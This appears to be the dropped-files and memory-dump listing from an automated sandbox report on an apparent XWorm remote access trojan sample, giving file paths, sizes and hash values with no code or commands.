Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3a4e0cbdb2cf6a362000929404712979

SHA1
9885ce99c9a5f15cdb9c0030cdc20af84ea2d9ec

SHA256
2c3d3f39f067b6e56666812136435d34b8901ed4815f09faa2db4bf2098899f2

SHA512
6b0d0d31ada8ff1b0291fa711bd5c5f2e3525678df859ca63d22bc98cd8227ce2835e0523dbddb9643e8a81a8a08dc82d7908807a799472498a5cb6556080df4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
7bd61603995acbd785aa01ccac0c2f26

SHA1
9f278ec2415329bdc24a8499152aecbb35fa1e50

SHA256
b3684506f2a2efe354c12b65952753db0f7a9cf8076d36eb22dd278a6c9fff2e

SHA512
7b74931235728e5ad60d2837b9939d68a865e1bba5fb462efc1245b863fa14ed1a09501692468d7eed7b4e640671739d002eab01561f9eb39abaf9262aecf635

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
3ee0f1b59c3912f6537204ce765748fa

SHA1
1f545984a1bfea5ee2560ad2e5db987267f053b4

SHA256
5ca76b9c0cdc135f4368fb3f5a86c884076d2068624a5f23749d2fdaa989be97

SHA512
8480eedb737b118ac2fc0a13428678143e0236034fb2376d3d7ca0c9885c533a7810c710fd111be1ff918f48e420c0d087c31ec27deeea5d0bb40c14548a302b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1a5fdae6-8f46-4b8b-a738-d6572f690d43\AgileDotNetRT.dll

Filesize
94KB

MD5
14ff402962ad21b78ae0b4c43cd1f194

SHA1
f8a510eb26666e875a5bdd1cadad40602763ad72

SHA256
fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b

SHA512
daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe

Filesize
5.6MB

MD5
b8703418e6c3d1ccd83b8d178ab9f4c9

SHA1
6fb0e1e0ee5bc745f52a1c29e3cf4b88a2298dd6

SHA256
d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e

SHA512
75ff6e911691e3d0d32c25d4b6d275a2b6157dae418ce5507f3e3f1b321c3f0dee516b7db0fd6588860019a19862f43c5335c465829de7a418a71999b71cfc3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe:Zone.Identifier

Filesize
83B

MD5
95bab9dd14853aee78129288e8c45f28

SHA1
563777d569a67ad38ce522dd82fa8bd854126b04

SHA256
73133a3a8bc13080ed4b6c22e7bc9126a9fd343436e09ac2a83f3f8bc578fc37

SHA512
201473a26a2099b10a58b2a46e70ec4c5388b497f76b53e0b7cf742576cb46676aca76a5452c4f6a109f92490192bd8eaa0b47d7cd563db45880b36d3156c6b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7DF5.tmp.bat

Filesize
289B

MD5
7bb4ed5c81c2e14b3f72f4e72171b14a

SHA1
2455e91ef3a315b697cd2264f6d2e01eb316ba49

SHA256
95fa374b4668d7e3d8cdca210812f169c3545056a57b60e96916c7332cd16f48

SHA512
3ed7c2f91a6e5b0d4c1502fa595ad440543471cd7046d2f1e604502ebec2979318a7617d8c2e8fe40af08ffdb5898f4902eb26edb85e0cf14faa12336329088c

Download Submit
C:\Users\Admin\Downloads\XWorm-RAT-main.zip

Filesize
34.0MB

MD5
e26ea1074ad51b0ddf9cfd7eeb5826f4

SHA1
7561a5c4c4c808ee7444d81afb4d8598c611ad94

SHA256
b2183d18a1177289333fa390b1f3094e84da96aa03ee5bf4d11a7e045aff7534

SHA512
de7e17d39bf8721fb782a0d31922456b823f51befa1fb87fad3da97e00fc72b32d7b85bfb56d7ba946bcd59a69f2f9d59e155d25dff3db625241faeb59e090e4

Download Submit
C:\Users\Admin\Downloads\XWorm-RAT-main.zip:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
memory/768-325-0x000001EB379D0000-0x000001EB379EE000-memory.dmp

Filesize
120KB

Download
memory/768-318-0x000001EB357D0000-0x000001EB35D70000-memory.dmp

Filesize
5.6MB

Download
memory/768-324-0x000001EB50270000-0x000001EB502E6000-memory.dmp

Filesize
472KB

Download
memory/2992-390-0x0000000072D50000-0x0000000072DDA000-memory.dmp

Filesize
552KB

Download
memory/2992-381-0x0000000000A10000-0x0000000000BFA000-memory.dmp

Filesize
1.9MB

Download
memory/2992-382-0x0000000006960000-0x0000000006B84000-memory.dmp

Filesize
2.1MB

Download
memory/3452-276-0x00000000052A0000-0x00000000052AA000-memory.dmp

Filesize
40KB

Download
memory/3452-277-0x00000000053D0000-0x0000000005426000-memory.dmp

Filesize
344KB

Download
memory/3452-278-0x0000000008660000-0x00000000086C6000-memory.dmp

Filesize
408KB

Download
memory/3452-269-0x0000000000200000-0x0000000000892000-memory.dmp

Filesize
6.6MB

Download
memory/3452-274-0x00000000051F0000-0x000000000528C000-memory.dmp

Filesize
624KB

Download
memory/3452-275-0x0000000005330000-0x00000000053C2000-memory.dmp

Filesize
584KB

Download
memory/4424-251-0x00000000003A0000-0x00000000005E2000-memory.dmp

Filesize
2.3MB

Download
memory/4424-252-0x0000000005750000-0x0000000005CF6000-memory.dmp

Filesize
5.6MB

Download
memory/4504-339-0x000002266BD40000-0x000002266BDF2000-memory.dmp

Filesize
712KB

Download
memory/4504-343-0x000002266BEC0000-0x000002266BEFA000-memory.dmp

Filesize
232KB

Download
memory/4504-344-0x000002266BDF0000-0x000002266BE16000-memory.dmp

Filesize
152KB

Download
memory/4504-365-0x000002266BF20000-0x000002266BF32000-memory.dmp

Filesize
72KB

Download
memory/4504-341-0x000002266BE90000-0x000002266BEB2000-memory.dmp

Filesize
136KB

Download
memory/4504-340-0x000002266BE40000-0x000002266BE90000-memory.dmp

Filesize
320KB

Download
memory/4504-337-0x000002266BCD0000-0x000002266BD3A000-memory.dmp

Filesize
424KB

Download
memory/4504-336-0x0000022653050000-0x000002265305A000-memory.dmp

Filesize
40KB

Download